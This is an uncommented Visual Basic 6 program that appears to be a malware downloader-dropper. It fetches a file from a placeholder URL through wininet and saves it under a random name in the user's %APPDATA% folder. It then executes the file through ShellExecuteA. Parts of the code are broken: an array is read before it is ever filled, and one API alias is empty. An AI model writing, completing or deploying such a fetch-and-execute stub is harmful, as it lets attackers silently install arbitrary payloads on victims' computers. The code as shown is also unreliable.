Option Explicit

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CreateFileA Lib "kernel32" Alias "" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function FlushFileBuffers Lib "kernel32" (ByVal hFile As Long) As Long
Private Declare Sub InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long)
Private Declare Function InternetOpenA Lib "wininet.dll" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Sub InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long)
Private Declare Function InternetOpenUrlA Lib "wininet.dll" (ByVal hOpen As Long, ByVal sUrl As String, ByVal sHeaders As String, ByVal lLength As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Declare Function ShellExecuteA Lib "shell32.dll" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Function DLDLDL(ByVal URL As String) As String
  Dim hInet As Long
  Dim hURL As Long
  Dim Buffer As String * 2048
  Dim Bytes As Long

  hInet = InternetOpenA(vbNullString, 0, vbNullString, vbNullString, 0)
  hURL = InternetOpenUrlA(hInet, URL, vbNullString, 0, &H80000000, 0)

  Do
    InternetReadFile hURL, Buffer, Len(Buffer), Bytes
    If Bytes = 0 Then Exit Do
    DLDLDL = DLDLDL & Left$(Buffer, Bytes)
  Loop

  InternetCloseHandle hURL: InternetCloseHandle hInet
End Function

Sub Main()
Dim sData As String
Dim sRuns() As String
Dim i As Integer
Dim sPart() As String
Dim sBuffer As String
Dim sExtension As String
Dim sFilePath As String


    sBuffer = ""
    DoEvents
    sBuffer = DLDLDL("URL")
    DoEvents
    sExtension = Right(sPart(0), 4)
    DoEvents
    sFilePath = Environ("appdata") & "\" & sRnd & sExtension
    Call WriteStringToFile(sFilePath, sBuffer)
    DoEvents
    ShellExecuteA 0, "open", sFilePath, 0, 0, 1

End Sub

Public Function sRnd()
Dim i As Integer
sRnd = ""
For i = 1 To 10
    Randomize
    sRnd = sRnd & Chr(Int(Rnd * (122 - 97 + 1) + 97))
Next
End Function
Public Function WriteStringToFile(FileName As String, ByVal TheData As String, Optional NoOverwrite As Boolean = False) As Boolean
Dim lHandle As Long
Dim lSuccess As Long
Dim lBytesWritten As Long, lBytesToWrite As Long
If NoOverwrite = True And Dir(FileName) <> "" Then Exit Function
lBytesToWrite = Len(TheData)
lHandle = CreateFileA(FileName, &H40000000 Or &H80000000, _
                     0, 0, 4, &H80, 0)

If lHandle <> -1 Then
   lSuccess = WriteFile(lHandle, ByVal TheData, _
                        lBytesToWrite, lBytesWritten, 0) <> 0
   If lSuccess <> 0 Then
      lSuccess = FlushFileBuffers(lHandle)
      lSuccess = CloseHandle(lHandle)
   End If
End If
ErrorHandler:
WriteStringToFile = lSuccess <> 0
End Function

Private Function Array2String(b() As Byte) As String
    Dim i       As Long
    On Error Resume Next
    For i = 0 To UBound(b())
        Array2String = Array2String & Chr(b(i))
    Next i
End Function